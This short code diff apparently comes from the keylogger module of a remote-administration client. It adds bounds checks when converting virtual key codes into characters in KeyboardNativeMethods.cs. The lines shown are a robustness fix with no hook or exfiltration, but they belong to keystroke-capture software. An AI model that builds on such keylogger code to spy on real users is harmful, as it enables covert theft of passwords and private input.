diff --git a/Client/Core/Keylogger/WinApi/KeyboardNativeMethods.cs b/Client/Core/Keylogger/WinApi/KeyboardNativeMethods.cs index 2135126e..c51432e9 100644 --- a/Client/Core/Keylogger/WinApi/KeyboardNativeMethods.cs +++ b/Client/Core/Keylogger/WinApi/KeyboardNativeMethods.cs @@ -102,12 +102,14 @@ internal static void TryGetCharFromKeyboardState(int virtualKeyCode, int scanCod break; case 1: - chars = new[] { pwszBuff[0] }; + if (pwszBuff.Length > 0) chars = new[] { pwszBuff[0] }; + else chars = null; break; // Two or more (only two of them is relevant) default: - chars = new[] { pwszBuff[0], pwszBuff[1] }; + if (pwszBuff.Length > 1) chars = new[] { pwszBuff[0], pwszBuff[1] }; + else chars = new[] { pwszBuff[0] }; break; }